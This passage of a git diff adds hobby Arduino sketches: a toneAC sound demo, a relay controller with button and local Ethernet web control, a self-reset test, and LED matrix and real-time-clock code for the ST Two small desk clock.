+// Pins 12 & 13 - ATmega1284P, ATmega644 +// Pins 14 & 15 - Teensy 2.0 +// Pins 25 & 26 - Teensy++ 2.0 +// Be sure to include an inline 100 ohm resistor on one pin as you normally do when connecting a piezo or speaker. +// --------------------------------------------------------------------------- + +#include "toneAC.h" + +// Melody liberated from the toneMelody Arduino example sketch by Tom Igoe. +int melody[] = { 262, 196, 196, 220, 196, 0, 247, 262 }; +int noteDurations[] = { 4, 8, 8, 4, 4, 4, 4, 4 }; + +void setup() {} // Nothing to setup, just start playing! + +void loop() { + for (unsigned long freq = 125; freq <= 15000; freq += 10) { + toneAC(freq); // Play the frequency (125 Hz to 15 kHz sweep in 10 Hz steps). + delay(1); // Wait 1 ms so you can hear it. + } + toneAC(); // Turn off toneAC, can also use noToneAC(). + + delay(1000); // Wait a second. + + for (int thisNote = 0; thisNote < 8; thisNote++) { + int noteDuration = 1000/noteDurations[thisNote]; + toneAC(melody[thisNote], 10, noteDuration, true); // Play thisNote at full volume for noteDuration in the background. + delay(noteDuration * 4 / 3); // Wait while the tone plays in the background, plus another 33% delay between notes. + } + + while(1); // Stop (so it doesn't repeat forever driving you crazy--you're welcome). +} diff --git a/Projects/RelayController/RelayController_1.0/RelayController_1.0.ino b/Projects/RelayController/RelayController_1.0/RelayController_1.0.ino new file mode 100644 index 0000000..e846085 --- /dev/null +++ b/Projects/RelayController/RelayController_1.0/RelayController_1.0.ino @@ -0,0 +1,66 @@ +#include + +int relayPins[] = {4, 7, 6, 5}; +int buttonPins[] = {8, 9, 10, 11, 12, 13}; +int relayState[] = {0, 0, 0, 0}; +int buttonState = 0; + +Servo myservo; + +void setup() { + for (int i = 0; i < 6; i++) + { + if (i < 4) + { + pinMode(relayPins[i], OUTPUT); + } + pinMode(buttonPins[i], INPUT_PULLUP); + } + + myservo.attach(3); +} + +void loop() +{ + for (int i = 0; i < 6; i++) + { + buttonState = digitalRead(buttonPins[i]); + if (buttonState == LOW) + { + switch (i) + { + case 4: + // + break; + case 3: + // Turn on the servo for speaker + myservo.write(150); + delay(1000); + myservo.write(140); + break; + default: + relayChange(i); + break; + } + } + while (buttonState == LOW) + { + delay(50); + buttonState = digitalRead(buttonPins[i]); + } + } +} + +void relayChange(int i) +{ + if (relayState[i] == 0) + { + digitalWrite(relayPins[i], HIGH); + relayState[i] = 1; + } + else + { + digitalWrite(relayPins[i], LOW); + relayState[i] = 0; + } +} diff --git a/Projects/RelayController/ServerController_1.0/ServerController_1.0.ino b/Projects/RelayController/ServerController_1.0/ServerController_1.0.ino new file mode 100644 index 0000000..c66361b --- /dev/null +++ b/Projects/RelayController/ServerController_1.0/ServerController_1.0.ino @@ -0,0 +1,264 @@ +#include +#include + +byte mac[] = { + 0x90, 0xA2, 0xDA, 0x0D, 0xA7, 0x51 }; + +IPAddress ip(10,0,0,5); + +EthernetServer server(80); + +int relayPins[] = {4, 7, 6, 5}; +int buttonPins[] = {8, 9, 10, 11, 12, 13}; +int relayState[] = {0, 0, 0, 0}; +int buttonState = 0; + +String readString = String(100); //string for fetching data from address + +void setup() +{ + Serial.begin(9600); + + for (int i = 0; i < 6; i++) + { + if (i < 4) + pinMode(relayPins[i], OUTPUT); + pinMode(buttonPins[i], INPUT_PULLUP); + } + + // start the Ethernet connection and the server: + + Serial.println(F("Initiaizing ethernet...")); + + // this uses a fixed address + Ethernet.begin(mac, ip); + + // get an address with DHCP + //if (Ethernet.begin(mac) == 0) + // Serial.println("Failed to configure Ethernet using DHCP"); + + // give the card a second to initialize + delay(1000); + + server.begin(); + + Serial.print(F("Garage Door Opener Control Ready at IP address ")); + Serial.println(Ethernet.localIP()); +} + +void loop() +{ + // command received (one character) '1' - activate garage door button + char cmd = 0; // 1 - pulse button + boolean done = false; // set to indicate that response is complete + + // listen for incoming clients + EthernetClient client = server.available(); + if (client) + { + Serial.println(F("new client")); + readString = ""; + + while (client.connected()) + { + if (client.available()) + { + char c = client.read(); + Serial.write(c); + + // store character received in receive string + if (readString.length() < 100) + readString += (c); + + // check for end of line + if (c == '\n') + { + // process line if its the "GET" request + // a request looks like "GET /?1" or "GET /?2" + if (readString.indexOf("GET") != -1) + { + if (readString.indexOf("?1") != -1) + cmd = '1'; + // check for other commands here. ie turn on light, etc. + if (readString.indexOf("?2") != -1) + cmd = '2'; + if (readString.indexOf("?3") != -1) + cmd = '3'; + if (readString.indexOf("?4") != -1) + cmd = '4'; + if (readString.indexOf("?5") != -1) + cmd = '5'; + if (readString.indexOf("?6") != -1) + cmd = '6'; + if (readString.indexOf("?7") != -1) + cmd = '7'; + if (readString.indexOf("?8") != -1) + cmd = '8'; + } + // if a blank line was received (just cr lf, length of 2), then its the end of the request + if (readString.length() == 2) + { + if (cmd == '1'){ + Serial.println(F("Activate Button")); + digitalWrite(6, HIGH); + } + if (cmd == '2'){ + Serial.println(F("Activate Button")); + digitalWrite(6, LOW); + } + if (cmd == '3'){ + Serial.println(F("Activate Button")); + digitalWrite(5, HIGH); + } + if (cmd == '4'){ + Serial.println(F("Activate Button")); + digitalWrite(5, LOW); + } + if (cmd == '5'){ + Serial.println(F("Activate Button")); + digitalWrite(7, HIGH); + } + if (cmd == '6'){ + Serial.println(F("Activate Button")); + digitalWrite(7, LOW); + } + if (cmd == '7'){ + Serial.println(F("Activate Button")); + digitalWrite(4, HIGH); + } + if (cmd == '8'){ + Serial.println(F("Activate Button")); + digitalWrite(4, LOW); + } + // add other commands here + + for (int i = 0; i < 6; i++) + { + buttonState = digitalRead(buttonPins[i]); + if (buttonState == LOW) + { + switch(i) + { + case 4: + // + break; + case 3: + // Turn on the servo for speaker + /* + myservo.write(300); + delay(500); + myservo.write(110); + break; + */ + default: + relayChange(i); + break; + } + } + /* + while (buttonState == LOW) + { + delay(50); + buttonState = digitalRead(buttonPins[i]); + }*/ + } + + // send web page back to client + Serial.println(F("sending web page")); + SendWebPage(client); + Serial.println(F("web page sent")); + + cmd = 0; + + // break out and disconnect. This will tell the browser the request is complete without having to specify content-length + break; + + } // end of request reached + + // start line over + readString = ""; + } // end of line reached + } // end data is available from client + } // end cient is connected + // give the web browser time to receive the data + Serial.println(F("delay before disconnect")); + delay(100); + // close the connection: + client.stop(); + Serial.println(F("client disonnected")); + } // end client has been created +} + +void relayChange(int i) +{ + if (relayState[i] == 0) + { + digitalWrite(relayPins[i], HIGH); + relayState[i] = 1; + } + else + { + digitalWrite(relayPins[i], LOW); + relayState[i] = 0; + } +} + + +// send web page +void SendWebPage(EthernetClient client) +{ + client.println(F("HTTP/1.1 200 OK")); + client.println(F("Content-Type: text/html")); + // to specify the length, wooul have to construct the entire string and then get its length + //client.println("Content-Length: 1234"); + client.println(F("Connnection: close")); + client.println(); + client.println(F("")); + client.println(F("")); + client.println(F("")); + client.println(F("Home Automation Control")); + client.println(F("")); + client.println(F("")); + client.println(F("")); + client.println(F("")); + client.println(F("
")); + client.println(F("Home Auotmation Control

")); + + + // door open / close button + if (digitalRead(6)==LOW) + client.println(F("

")); + if (digitalRead(6)==HIGH) + client.println(F("

")); + if (digitalRead(5)==LOW) + client.println(F("

")); + if (digitalRead(5)==HIGH) + client.println(F("

")); + if (digitalRead(7)==LOW) + client.println(F("

")); + if (digitalRead(7)==HIGH) + client.println(F("

")); + if (digitalRead(4)==LOW) + client.println(F("

")); + if (digitalRead(4)==HIGH) + client.println(F("

")); + + // add more buttons here + // button separator + + client.println(F("
")); + + client.println(F("")); + client.println(F("")); + + client.println(""); +} + + + + diff --git a/Projects/RelayController/ServerController_1.1/ServerController_1.1.ino b/Projects/RelayController/ServerController_1.1/ServerController_1.1.ino new file mode 100644 index 0000000..3a5e01a --- /dev/null +++ b/Projects/RelayController/ServerController_1.1/ServerController_1.1.ino @@ -0,0 +1,235 @@ +#include +#include +#include + +byte mac[] = { + 0x90, 0xA2, 0xDA, 0x0D, 0xA7, 0x51}; + +IPAddress ip(10,0,0,5); +EthernetServer server(81); + +int relayPins[] = {7, 6, 5, 4}; +int buttonPins[] = {8, 9, 10, 11, 12, 13}; +int relayState[] = {0, 0, 0, 0}; +int buttonState = 0; + +Servo speakerServo; + +String readString = String(100); + +void setup() +{ + Serial.begin(9600); + for (int i = 0; i < 6; i++) + { + Serial.println("RUN"); + if (i < 4) + pinMode(relayPins[i], OUTPUT); + pinMode(buttonPins[i], INPUT_PULLUP); + } + + speakerServo.attach(3); + + Serial.println(F("Initialaizing ethernet...")); + Ethernet.begin(mac, ip); + + delay(1000); + + server.begin(); + Serial.print(F("Kevin's RelayController ready at: ")); + Serial.println(Ethernet.localIP()); +} + +void loop() +{ + int cmd = 0; + boolean done = false; + + //checkButtons(); + + EthernetClient client = server.available(); + + if (client) + { + Serial.println(F("new client")); + readString = ""; + + while (client.connected()) + { + if (client.available()) + { + char c = client.read(); + Serial.write(c); + if (readString.length() < 100) + readString += (c); + + // Check serverInputs + if (c == '\n') + { + if (readString.indexOf("GET") != -1) + { + if (readString.indexOf("?1") != -1) + cmd = 1; + if (readString.indexOf("?2") != -1) + cmd = 2; + if (readString.indexOf("?3") != -1) + cmd = 3; + if (readString.indexOf("?4") != -1) + cmd = 4; + if (readString.indexOf("?5") != -1) + cmd = 5; + if (readString.indexOf("?6") != -1) + cmd = 6; + if (readString.indexOf("?7") != -1) + cmd = 7; + if (readString.indexOf("?8") != -1) + cmd = 8; + if (readString.indexOf("?9") != -1) + cmd = 9; + if (readString.indexOf("?10") != -1) + cmd = 10; + } + //Serial.println(cmd); + if (readString.length() >= 2) + { + changeState(cmd); + Serial.println(F("Sending web page")); + SendWebPage(client); + Serial.println(F("Web page sent!")); + cmd = 0; + break; + } + readString = ""; + } + } + } + Serial.println(F("Delay before disconnecting")); + delay(50); + client.stop(); + Serial.println(F("Client disconnected")); + } +} + +void changeState(int n) +{ + Serial.println(n); + if (n > 0 && n <= 4) + { + Serial.println(F("Activate Button")); + digitalWrite(relayPins[n - 1], HIGH); + } + else if (n > 4 && n <= 8) + { + Serial.println(F("Activate Button")); + digitalWrite(relayPins[n - 5], LOW); + } + else if (n == 9) + { + Serial.println(F("Activate Button")); + speakerServo.write(156); + delay(500); + speakerServo.write(140); + } + else if (n == 10) + { + Serial.println(F("Activate Button")); + // Do something + } +} + +void checkButtons() +{ + for (int i = 0; i < 6; i++) + { + buttonState = digitalRead(buttonPins[i]); + if (buttonState == LOW) + { + switch (i) + { + case 4: + // + break; + case 3: + // Turn on the servo for speaker + speakerServo.write(156); + delay(500); + speakerServo.write(140); + break; + default: + relayChange(i); + break; + } + } + while (buttonState == LOW) + { + delay(50); + buttonState = digitalRead(buttonPins[i]); + } + } +} + +void relayChange(int i) +{ + if (relayState[i] == 0) + { + digitalWrite(relayPins[i], HIGH); + relayState[i] = 1; + } + else + { + digitalWrite(relayPins[i], LOW); + relayState[i] = 0; + } +} + +void SendWebPage(EthernetClient client) +{ + client.println(F("HTTP/1.1 200 OK")); + client.println(F("Content-Type: text/html")); + client.println(F("Connection: close")); + client.println(); + client.println(F("")); + client.println(F("")); + client.println(F("")); + client.println(F("")); + client.println(F("")); + client.println(F("")); + client.println(F("RelayController")); + client.println(F("")); + client.println(F("")); + client.println(F("")); + client.println(F("
")); + client.println(F("
RelayController

")); + + // Buttons + if (digitalRead(relayPins[0]) == LOW) + client.println(F("")); + else + client.println(F("")); + if (digitalRead(relayPins[1]) == LOW) + client.println(F("

")); + else + client.println(F("

")); + if (digitalRead(relayPins[2]) == LOW) + client.println(F("")); + else + client.println(F("")); + if (digitalRead(relayPins[3]) == LOW) + client.println(F("

")); + else + client.println(F("

")); + + client.println(F("")); + client.println(F("

")); + + client.println(F("
")); + client.println(F("")); + client.println(F("")); + client.println(""); +} + diff --git a/Projects/Reset/Reset.ino b/Projects/Reset/Reset.ino new file mode 100755 index 0000000..368bba1 --- /dev/null +++ b/Projects/Reset/Reset.ino @@ -0,0 +1,31 @@ +int led = 13;//pin 13 as OUTPUT LED pin +int resetPin = 3; +// the setup routine runs once when you press reset: +void setup() { + digitalWrite(resetPin, LOW); + delay(200); + // initialize the digital pin as an output. + pinMode(led, OUTPUT); + pinMode(resetPin, OUTPUT); + Serial.begin(9600);//initialize Serial Port + Serial.println("reset");//print reset to know the program has been reset and + //the setup function happened + delay(200); +} + +// the loop routine runs over and over again forever: +void loop() { + delay(10); + digitalWrite(led, LOW); // turn the LED on (HIGH is the voltage level) + Serial.println("on"); + delay(1000); // wait for a second + digitalWrite(led, HIGH); // turn the LED off by making the voltage LOW + Serial.println("off"); + delay(1000); // wait for a second + Serial.println("resetting"); + delay(10); + digitalWrite(resetPin, HIGH); + Serial.println("this never happens"); + //this never happens because Arduino resets + +} diff --git a/Projects/ST_Two_Small_Clock/ST2_Main/ST2_Main.ino b/Projects/ST_Two_Small_Clock/ST2_Main/ST2_Main.ino new file mode 100644 index 0000000..4c81af8 --- /dev/null +++ b/Projects/ST_Two_Small_Clock/ST2_Main/ST2_Main.ino @@ -0,0 +1,222 @@ +//******************************************************************************************************************* +// Main Loop +//******************************************************************************************************************* +void loop() +{ + // Test for Sleep ------------------------------------------------* + + currentMillis = millis(); + OptionModeFlag = false; + + if(((currentMillis - SleepTimer) > SleepLimit) && SleepEnable) + { + + if(STATE= 1) // New for ST Desk Clock - goto Time vs Sleep + { + SUBSTATE = 1; + blinkON = true; + blinkFlag = false; + blinkMin = false; + blinkHour = false; + }else + { + STATE= 1; // was STATE= 99; + SUBSTATE = 0; + } + + SleepTimer = millis(); + + } + + // Test for Mode Button Press ------------------------------------* + + bval = !digitalRead(MODEBUTTON); + if(bval) + { + if(ALARMON) + { + CheckAlarm(); + } + + if(ALARM1FLAG) + { + ALARM1FLAG = false; + ALARMON = false; + EnableAlarm1(false); + STATE = 90; + JustWokeUpFlag = false; + } + else + { + if(JustWokeUpFlag) + { + JustWokeUpFlag = false; + JustWokeUpFlag2 = true; // Used to supress "Time" text from showing when waking up. + } + else + { + NextStateRequest = true; + } + // SUBSTATE = 99; + + while(bval) + { + bval = !digitalRead(SETBUTTON); + if(bval) + { + OptionModeFlag = true; + NextStateRequest = false; + NextSUBStateRequest = false; + displayString("SPEC"); + delay(300); + } + bval = !digitalRead(MODEBUTTON); + } + + delay(100); + SleepTimer = millis(); + } + } + + // Test for SET Button Press ------------------------------------* + + bval = !digitalRead(SETBUTTON); + if(bval && !OptionModeFlag) + { + NextSUBStateRequest = true; + + while(bval) + { + + bval = !digitalRead(MODEBUTTON); + if(bval) + { + OptionModeFlag = true; + NextStateRequest = false; + NextSUBStateRequest = false; + displayString("SPEC"); + delay(300); + } + + + bval = !digitalRead(SETBUTTON); + } + delay(100); + SleepTimer = millis(); + } + + // Running Blink counter ------------------------------------* + if(blinkFlag) + { + blinkCounter = blinkCounter +1; + if(blinkCounter >blinkTime) // was 150 + { + blinkON = !blinkON; + blinkCounter = 0; + } + } + else + { + blinkON = true; // Not blinking, just leave the LEDs lit + } + +//******************************************************************************************************************* +// Main Loop - State Machine +//******************************************************************************************************************* + + switch (STATE) + { + case 0: // Set-Up + STATE = 1; + break; + + case 1: // Display Time + DisplayTimeSub(); + break; + + case 2: // Set Time + setAlarmSub(); + break; + + case 3: // Config Alarm + setTimeSub(); + break; + + case 4: // Stop Watch + StopWatch(); + break; + + + case 5: // Serial Display + DisplaySerialData(); + break; + + case 6: // Graphic Demo + graphican(); + break; + + // --------------------------------------------------------------- + + case 90: // Alarm Triggered + + blinkFlag = true; + displayString("Beep"); + + if(blinkON) + { + pinMode(SETBUTTON, OUTPUT); + tone(SETBUTTON,4000) ; + delay(100); + noTone(SETBUTTON); + digitalWrite(SETBUTTON, HIGH); + } + + #if ARDUINO >= 101 + pinMode(SETBUTTON, INPUT_PULLUP); +// digitalWrite(SETBUTTON, HIGH); + #else +// digitalWrite(SETBUTTON, HIGH); + pinMode(SETBUTTON, INPUT); + #endif + delay(250); + +// bval = !digitalRead(SETBUTTON); + if(NextSUBStateRequest | NextStateRequest) + { + STATE = 0; + SUBSTATE = 0; + // NextStateFlag = true; + NextStateRequest = false; + NextSUBStateRequest = false; + blinkFlag = false; + } + break; + + // --------------------------------------------------------------- + + case 99: // Sleep + displayString("Nite"); + delay(500); + clearmatrix(); + GoToSleep(); + SleepTimer = millis(); + STATE = 0; + SUBSTATE = 0; + break; + + // --------------------------------------------------------------- + + } +} + + +//******************************************************************************************************************* +// End of Main Loop +//******************************************************************************************************************* + + + + + + + diff --git a/Projects/ST_Two_Small_Clock/ST2_Matrix/ST2_Matrix.ino b/Projects/ST_Two_Small_Clock/ST2_Matrix/ST2_Matrix.ino new file mode 100644 index 0000000..ab806d9 --- /dev/null +++ b/Projects/ST_Two_Small_Clock/ST2_Matrix/ST2_Matrix.ino @@ -0,0 +1,170 @@ + //******************************************************************************************************************* +// Called by Timer 1 Interrupt to draw next column in LED matrix +//******************************************************************************************************************* +// Only light one ROW (and one column) ie one pixel at a time. = lower current draw, but lower refresh rate. + + +void LEDupdateTWO() // ONE ROW of selected column at a time +{ + + if(ROWBITINDEX >6) + { + Mcolumn = Mcolumn+1; // Prep for next column + if(Mcolumn >19) + { + Mcolumn =0; + } + + PORTB = (PORTB & B10000000); // Clear last column + PORTC = (PORTC & B11110000) | B00001111; + + if(Mcolumn <16) // Matrix column (from 0 to 19) + { + PORTB = (PORTB & B01111111); //| (0<19) + { + Mcolumn =0; + } +} + +//******************************************************************************************************************* +// Used by STII Small Desk Clock +//******************************************************************************************************************* +// Only light one ROW (and one column) ie one pixel at a time. = lower current draw, but lower refresh rate. + + +// Where: +// PORTC2 - S1 (ADC1) +// PORTC3 - S2 (ADC2) +// When S1=H and S2=L Decoder 1 = Selected +// When S1=L and S2=H Decoder 2 = Selected +// When S1=L and S2=L Decoder 3 = Selected +// When S1=H and S2=H None Selected = all columns are OFF + +// PORTD4 - A +// PORTD5 - B +// PORTD6 - C +// PORTD7 - Free pin (only with the "Small desk clock") + +// PORTB 0 to 6 = ROWS 1 to 7 + +void LEDupdateTHREE() // ONE ROW of selected column at a time +{ + + if(ROWBITINDEX >6) + { + ROWBITINDEX = 0; + + Mcolumn = Mcolumn+1; // Prep for next column + if(Mcolumn >19) + { + Mcolumn =0; + } + +// PORTB = (PORTB & B10000000); // Clear last column + PORTB = (PORTB & B10000000); + PORTC = (PORTC & B11110011) | B00001100; // Turn off decoders + + + + if(Mcolumn < 8) // Matrix column (from 0 to 7) + { + PORTD = (PORTD & B10001111) | (Mcolumn << 4); // Decode address to 74HC138 + PORTC = (PORTC & B11110011) | B00000100; // Select Chip 1 + } + + if(Mcolumn > 7 && Mcolumn < 16) + { + PORTD = (PORTD & B10001111) | ((Mcolumn - 8) << 4); // Decode address to 74HC138 + PORTC = (PORTC & B11110011) | B00001000; // Select Chip 2 + } + + if(Mcolumn > 15) + { + PORTD = (PORTD & B10001111) | ((Mcolumn - 16) << 4); // Decode address to 74HC138 + PORTC = (PORTC & B11110011); // Select Chip 3 + } + } + else + { +// PORTB = (PORTB & B10000000); + PORTB = (PORTB & B10000000); + if(bitRead(LEDMAT[Mcolumn],ROWBITINDEX)) + { + // PORTB = (PORTB & B10000000); + bitSet(PORTB,ROWBITINDEX); + } + + ROWBITINDEX = ROWBITINDEX +1; + + delayMicroseconds(50); // Test to see if this makes LEDs brighter + } +} + + diff --git a/Projects/ST_Two_Small_Clock/ST2_RTC/ST2_RTC.ino b/Projects/ST_Two_Small_Clock/ST2_RTC/ST2_RTC.ino new file mode 100644 index 0000000..526e15c --- /dev/null +++ b/Projects/ST_Two_Small_Clock/ST2_RTC/ST2_RTC.ino @@ -0,0 +1,526 @@ +//******************************************************************************************************************* +// Check Time +//******************************************************************************************************************* +void checktime() +{ + uint8_t temp =0; + + I2C_RX(RTCDS1337,RTC_SEC); + SecOnes = i2cData & B00001111; // + + SecTens = i2cData & B01110000; // + SecTens = SecTens >> 4; + + + I2C_RX(RTCDS1337,RTC_MIN); + MinOnes = i2cData & B00001111; // + + MinTens = i2cData & B01110000; // + MinTens = MinTens >> 4; + + I2C_RX(RTCDS1337,RTC_HOUR); + HourOnes = i2cData & B00001111; // + + TH_Not24_flag = bitRead(i2cData, 6); // False on RTC when 24 mode selected + PM_NotAM_flag = bitRead(i2cData, 5); + + if(TH_Not24_flag == true) + { + HourTens = i2cData & B00010000; // + HourTens = HourTens >> 4; + + } + else + { + HourTens = i2cData & B00110000; // + HourTens = HourTens >> 4; + } +} + +//******************************************************************************************************************* +// Check Date +//******************************************************************************************************************* +void checkDate() +{ + + int temp = 0; + I2C_RX(RTCDS1337,RTC_DAY); + Days = i2cData & B00000111; // + + I2C_RX(RTCDS1337,RTC_MONTH); + MonthCode = i2cData & B00001111; // + + temp = (i2cData & B00010000) >> 4; + if(temp) + { + MonthCode = MonthCode +10; // Convert BCD month into interger month + } + + I2C_RX(RTCDS1337,RTC_DATE); + DateOnes = i2cData & B00001111; // + DateTens = (i2cData & B00110000) >> 4; + +} + + +//******************************************************************************************************************* +// SET Time - NEW +//******************************************************************************************************************* + +void settimeNEW(uint8_t setselect) // both min digits or both hour digits (advance one at a time) +{ + uint8_t temp =0; + switch(setselect) + { + + case 1: + MinOnes = MinOnes +1; + if(MinOnes >9) + { + MinOnes = 0; + + MinTens = MinTens +1; + if(MinTens >5) + { + MinTens = 0; + } + + // temp = (MinTens << 4) + MinOnes; + // I2C_TX(RTCDS1337,RTC_MIN,temp); + } + + temp = (MinTens << 4) + MinOnes; + I2C_TX(RTCDS1337,RTC_MIN,temp); + break; + + + // ----------------------------------------------- + + case 2: + HourOnes = HourOnes +1; + + if(TH_Not24_flag) +// 12 hours mode increment + { + + if(HourOnes >9 ) + { + HourOnes = 0; + HourTens = 1; + } + + if((HourOnes ==2) && (HourTens == 1)) + { + PM_NotAM_flag = !PM_NotAM_flag; + } + + if((HourOnes >2) && (HourTens == 1)) + { +// PM_NotAM_flag = !PM_NotAM_flag; + HourTens = 0; + HourOnes = 1; + } + + } + else +// 24 hours mode increment - S + { + + if((HourOnes >9) && (HourTens < 2)) + { + HourOnes = 0; + HourTens = HourTens +1; + } + + if((HourTens ==2) && (HourOnes == 4)) + { + HourOnes = 0; + HourTens = 0; + } + } +// 24 hours mode increment - E + + temp = (HourTens << 4) + HourOnes; + if(TH_Not24_flag) + { + bitWrite(temp, 5, PM_NotAM_flag); + } + + bitWrite(temp, 6, TH_Not24_flag); + I2C_TX(RTCDS1337,RTC_HOUR,temp); + break; + + case 3: + Days = Days +1 ; + if(Days>7) + { + Days = 1; + } + temp = Days & B00000111; // + I2C_TX(RTCDS1337,RTC_DAY,temp); + break; + + case 4: + temp = 0; + MonthCode = MonthCode +1 ; + if(MonthCode >12) + { + MonthCode = 1; + } + if(MonthCode>9) + { + temp = MonthCode - 10; + // MonthCode = MonthCode & B00001111; + bitSet(temp, 4); // Convert int to BCD + } + else + { + temp = MonthCode & B00001111; + } + + I2C_TX(RTCDS1337,RTC_MONTH,temp); + break; + + case 5: // Date + + // I2C_RX(RTCDS1337,RTC_DATE); + // DateOnes = i2cData & B00001111; + // DateTens = (i2cData & B00110000) >> 4; + DateOnes = DateOnes + 1; + if((DateTens == 3) && (DateOnes > 1)) + { + DateOnes = 1; + DateTens =0; + } + else + { + if(DateOnes>9) + { + DateOnes = 0; + DateTens = DateTens +1; + } + } + temp = (DateOnes & B00001111) | ((DateTens << 4) & B00110000); + I2C_TX(RTCDS1337,RTC_DATE,temp); + break; + + case 6: // year + break; + } +} + +//******************************************************************************************************************* +// 12:00 Start Time +//******************************************************************************************************************* + +void SetStartTime() +{ + uint8_t temp =0; + + HourTens = 1; + HourOnes = 2; + temp = (HourTens << 4) + HourOnes; + bitWrite(temp, 5, PM_NotAM_flag); + bitWrite(temp, 6, TH_Not24_flag); + + I2C_TX(RTCDS1337,RTC_HOUR,temp); + + MinTens = 0; + MinOnes = 0; + temp = (MinTens << 4) + MinOnes; + I2C_TX(RTCDS1337,RTC_MIN,temp); +} + +//******************************************************************************************************************* +// SET Alarm +//******************************************************************************************************************* + +void SetAlarmTime() // Just for testing set to 12:01 PM +{ + uint8_t temp =0; + + HourTens = 1; + HourOnes = 2; + temp = (HourTens << 4) + HourOnes; + bitWrite(temp, 5, A_PM_NotAM_flag); + bitWrite(temp, 6, A_TH_Not24_flag); + + I2C_TX(RTCDS1337,RTC_ALARM1HOUR,temp); + + MinTens = 0; + MinOnes = 1; + temp = (MinTens << 4) + MinOnes; + I2C_TX(RTCDS1337,RTC_ALARM1MIN,temp); + + +} + +//******************************************************************************************************************* +// Check Alarm +//******************************************************************************************************************* + +void CheckAlarm() +{ + uint8_t temp =0; + I2C_RX(RTCDS1337,RTCSTATUS); + ALARM1FLAG = bitRead(i2cData, 0); + + if(ALARM1FLAG) + { + temp =i2cData; + bitClear(temp, 0); + I2C_TX(RTCDS1337,RTCSTATUS,temp); + } + +} + +//******************************************************************************************************************* +// Enable Alarm +//******************************************************************************************************************* + +void EnableAlarm1(boolean onoff) // Trigger on Hours & Minutes Match +{ + uint8_t temp =0; + + // Adjust for Hours - Minutes Trigger -S + I2C_RX(RTCDS1337,RTC_ALARM1SEC); + temp =i2cData; + bitClear(temp, 7); + I2C_TX(RTCDS1337,RTC_ALARM1SEC,temp); + + I2C_RX(RTCDS1337,RTC_ALARM1MIN); + temp =i2cData; + bitClear(temp, 7); + I2C_TX(RTCDS1337,RTC_ALARM1MIN,temp); + + I2C_RX(RTCDS1337,RTC_ALARM1HOUR); + temp =i2cData; + bitClear(temp, 7); + I2C_TX(RTCDS1337,RTC_ALARM1HOUR,temp); + + I2C_RX(RTCDS1337,RTC_ALARM1DATE); + temp =i2cData; + bitSet(temp, 7); + I2C_TX(RTCDS1337,RTC_ALARM1DATE,temp); + // Adjust for Hours - Minutes Trigger -E + + I2C_RX(RTCDS1337,RTCCONT); // Enable Alarm Pin on RTC + temp =i2cData; + + if(onoff) + { + bitSet(temp, 0); + } + else + { + bitClear(temp, 0); + } + I2C_TX(RTCDS1337,RTCCONT,temp); + + I2C_RX(RTCDS1337,RTCSTATUS); // Clear Alarm RTC internal Alarm Flag + temp =i2cData; + bitClear(temp, 0); + I2C_TX(RTCDS1337,RTCSTATUS,temp); +} +//******************************************************************************************************************* +// SET ALARM TIME +//******************************************************************************************************************* + +void setAlarm(uint8_t setselect) // both min digits or both hour digits (advance one at a time) +{ + uint8_t temp =0; + switch(setselect) + { + + case 1: + AMinOnes = AMinOnes +1; + if(AMinOnes >9) + { + AMinOnes = 0; + + AMinTens = AMinTens +1; + if(AMinTens >5) + { + AMinTens = 0; + } + } + + temp = (AMinTens << 4) + AMinOnes; + I2C_TX(RTCDS1337,RTC_ALARM1MIN,temp); + break; + + + case 2: + AHourOnes = AHourOnes +1; + +// -----------* + if(A_TH_Not24_flag) +// 12 hours mode increment + { + + if(AHourOnes >9 ) + { + AHourOnes = 0; + AHourTens = 1; + } + + if((AHourOnes ==2) && (AHourTens == 1)) + { + A_PM_NotAM_flag = !A_PM_NotAM_flag; + } + + if((AHourOnes >2) && (AHourTens == 1)) + { +// PM_NotAM_flag = !PM_NotAM_flag; + AHourTens = 0; + AHourOnes = 1; + } + + } + else +// 24 hours mode increment - S + { + + if((AHourOnes >9) && (AHourTens < 2)) + { + AHourOnes = 0; + AHourTens = AHourTens +1; + } + + if((AHourTens ==2) && (AHourOnes == 4)) + { + AHourOnes = 0; + AHourTens = 0; + } + } +// 24 hours mode increment - E +// -----------* + +/* + if(AHourOnes >9) + { + AHourOnes = 0; + AHourTens = AHourTens +1; + if((AHourTens >1) && (A_TH_Not24_flag)) + { + AHourTens = 0; + } + else + { + if(AHourTens >2) + { + AHourTens = 0; + } + } + } +*/ + temp = (AHourTens << 4) + AHourOnes; + if(A_TH_Not24_flag) + { + bitWrite(temp, 5, A_PM_NotAM_flag); + } + + bitWrite(temp, 6, A_TH_Not24_flag); + I2C_TX(RTCDS1337,RTC_ALARM1HOUR,temp); + break; + } + +} + +//******************************************************************************************************************* +// Toggle Twelve and Twenty Four hour time +//******************************************************************************************************************* + +void TwelveTwentyFourConvert() +{ + + int temphours = 0; + int temp = 0; + + I2C_RX(RTCDS1337,RTC_HOUR); + HourOnes = i2cData & B00001111; // + + // TH_Not24_flag = bitRead(i2cData, 6); // False on RTC when 24 mode selected + // PM_NotAM_flag = bitRead(i2cData, 5); + + if(TH_Not24_flag) + { + HourTens = i2cData & B00010000; // + HourTens = HourTens >> 4; + + } + else + { + HourTens = i2cData & B00110000; // + HourTens = HourTens >> 4; + } + + temphours = HourOnes + (HourTens*10); // 12 .... 1.2.3...12 or 0 ..1.2.3. ...23 + + if(TH_Not24_flag != NewTimeFormate) + { + if(NewTimeFormate) // NewTimeFormate is same formate as TH_Not24_flag where H is 12 and LOW is 24 + { + // ---------------- 24 -> 12 + // Convert into 12 hour clock + if(temphours >= 12) + { + PM_NotAM_flag = true; // it is in the PM + if(temphours> 12) + { + temphours = temphours - 12; // Convert from 13:00 .... 23:00 to 1:00 ... 11:00 [Go from 23:59 / 13:00 to 12:00 to 1:00] ? + } + else + { + temphours = temphours; // do nothing it is 12:00 + } + } + else + { + PM_NotAM_flag = false; // it is in the AM - No other conversion needed + } + if(temphours == 0) + { + temphours = 12; + } + } + else + // ---------------- 12 -> 24 // Convert into 24 hour clock + { + if((PM_NotAM_flag == false) && (temphours == 12)) // AM only check for 00 hours + { + temphours = 0; + } + if(PM_NotAM_flag == true) + { // PM conversion + if(temphours != 12) // Leave 12 as 12 in 24h time + { + temphours = temphours + 12; + } + } + + } + + // Common finish conversion section + TH_Not24_flag = NewTimeFormate; + HourTens = temphours / 10; + HourOnes = temphours % 10; + + // --- + temp = (HourTens << 4) + HourOnes; + if(TH_Not24_flag) + { + bitWrite(temp, 5, PM_NotAM_flag); + } + + bitWrite(temp, 6, TH_Not24_flag); + 